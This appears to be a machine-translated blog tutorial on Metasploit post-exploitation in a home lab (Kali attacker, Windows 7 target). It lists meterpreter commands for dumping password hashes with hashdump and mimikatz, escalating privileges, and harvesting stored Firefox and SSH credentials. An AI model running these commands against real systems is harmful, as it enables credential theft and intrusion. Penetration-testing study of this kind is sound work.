Intranet information collection of Intranet penetration (3)

Catalog

Metasploit Intranet information collection

07 Password cracking

Ordinary users are entitled to

08other

Intranet information collection of Intranet penetration （ Four ）_ Unknown white hat blog -CSDN Blog

---

Metasploit Intranet information collection

attack kali 192.168.0.103

Drone aircraft win7 192.168.0.105

07 Password cracking

use post/windows/gather/hashdump //system The powers of the meterpreter

set session 1

exploit // The results are stored in tmp Under the table of contents

use post/windows/gather/smart_hashdump

set session 1

exploit

Format

User name ：RID：LM-HASH value ：NT-HASH value

rid yes windows The system account corresponds to a fixed value , Be similar to linux Of uid,gid Number ,500 by administartor,501 by guest etc. . and lm-hash and nt-hash, They all encrypt user passwords , But the encryption method is different

hashdump It uses mimikatz Part of the function of

load mimikatz

wdigest、kerberos、msv、ssp、tspkg、livessp

mimikatz_command -h

mimikatz_command -f a:: // Query which modules are available

mimikatz_command -f samdump::hashes

mimikatz_command -f samdump::bootkey

Ordinary users are entitled to

getuid

View user permissions

hashdump

Need administrator's permission

getsystem

It's just that on the surface, it has obtained administrator permission , Do not have some real administrator privileges

ps

Check the process

getpid

View the current process

migrate

Process migration （ Migrate ordinary user processes to administrator user processes ）

hashdump

08other

Determine whether the target host is a virtual machine ：

run checkvm

Get the software installation information on the target host ：

run post/windows/gather/enum_applications

Get the most recently accessed documents on the target host 、 Link information ：

run post/windows/gather/dumplinks

View the target environment information ：

run post/windows/gather/env

see firefox Account and password stored in ：

run post/windows/gather/firefox_creds

see ssh Ciphertext information of account password 、 Certificate information ：

run post/windows/gather/ssh_creds